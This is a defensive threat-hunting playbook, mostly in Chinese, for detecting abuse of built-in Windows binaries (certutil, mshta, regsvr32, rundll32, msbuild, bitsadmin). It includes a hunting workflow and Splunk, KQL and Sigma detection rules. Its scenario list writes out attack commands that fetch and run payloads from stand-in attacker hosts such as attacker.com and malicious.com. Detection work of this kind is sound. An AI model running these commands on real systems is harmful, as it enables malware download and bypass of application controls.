Hunting For Lolbins Execution In Endpoint Logs

在终端日志中狩猎 LOLBin 执行

适用场景

• 狩猎滥用内置 Windows 二进制文件的无文件攻击技术时
• 威胁情报显示针对所在行业的 LOLBin 攻击活动后
• 调查 certutil、mshta、rundll32 或 regsvr32 可疑使用告警时
• 紫队演练测试防御规避技术的检测时
• 评估 MITRE ATT&CK T1218 子技术的终端检测覆盖率时

前置条件

• 启用完整命令行日志的 Sysmon 事件 ID 1（进程创建）
• 启用命令行审计的 Windows 安全事件 ID 4688
• 包含父子进程关系的 EDR 遥测数据
• 用于查询和关联的 SIEM 平台（Splunk、Elastic、Microsoft Sentinel）
• LOLBAS 项目参考（lolbas-project.github.io）了解已知滥用模式

工作流程

1. 建立 LOLBin 监控清单：从 LOLBAS 项目整理高风险 LOLBin 列表，优先关注：certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe 和 powershell.exe。
2. 建立正常使用基线：通过对每个二进制文件 30 天内的命令行参数、父进程和用户上下文进行分析，建立环境中正常 LOLBin 使用的基线。
3. 狩猎异常参数：搜索带有异常命令行参数的 LOLBin 执行——certutil 带 -urlcache -decode -encode，mshta 带 URL 参数，rundll32 从 temp/用户目录加载 DLL，regsvr32 带 /s /n /u /i:URL。
4. 分析父子进程关系：识别派生 LOLBin 的异常父进程——例如 outlook.exe 派生 mshta.exe，或 winword.exe 派生 certutil.exe，表明存在武器化文档投递。
5. 检查非标准路径执行：从非标准路径执行的 LOLBin（复制到 %TEMP%、用户目录）表明存在重命名二进制文件滥用。
6. 关联网络活动：将 LOLBin 执行与出站网络连接（Sysmon 事件 ID 3）进行关联，识别下载器和 C2 回连。
7. 评分和优先排序：综合可疑参数、异常父进程、非标准路径和网络活动指标，按异常严重性对发现进行排名。

核心概念

工具与系统

检测查询

Splunk——高风险 LOLBin 执行

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL——Microsoft Sentinel LOLBin 狩猎

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma 规则——可疑 LOLBin 命令行

title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

常见场景

1. certutil 下载器：certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe 用于下载恶意软件，绕过代理过滤器。
2. mshta HTA 执行：mshta.exe http://attacker.com/malicious.hta 执行包含 VBScript 或 JScript 载荷的远程 HTA 文件。
3. regsvr32 Squiblydoo：regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll 执行远程 SCT 文件，绕过应用程序白名单。
4. rundll32 DLL 代理：rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint 通过合法二进制文件执行攻击者 DLL。
5. MSBuild 内联任务：msbuild.exe C:\Temp\malicious.csproj 执行嵌入在项目文件中的 C# 代码，绕过应用程序控制。
6. BITS 传输：bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe 使用 BITS 服务隐蔽下载文件。
7. WMIC XSL 执行：wmic process list /format:evil.xsl 从 XSL 样式表执行 JScript/VBScript。

输出格式

狩猎 ID：TH-LOLBIN-[日期]-[序号]
主机：[主机名]
用户：[账户上下文]
LOLBin：[二进制文件名]
完整路径：[执行路径]
命令行：[完整参数]
父进程：[父镜像和命令行]
检测类别：[download_cradle/proxy_exec/uac_bypass/applocker_bypass]
网络活动：[是/否——如适用，填写目标地址]
风险等级：[严重/高/中/低]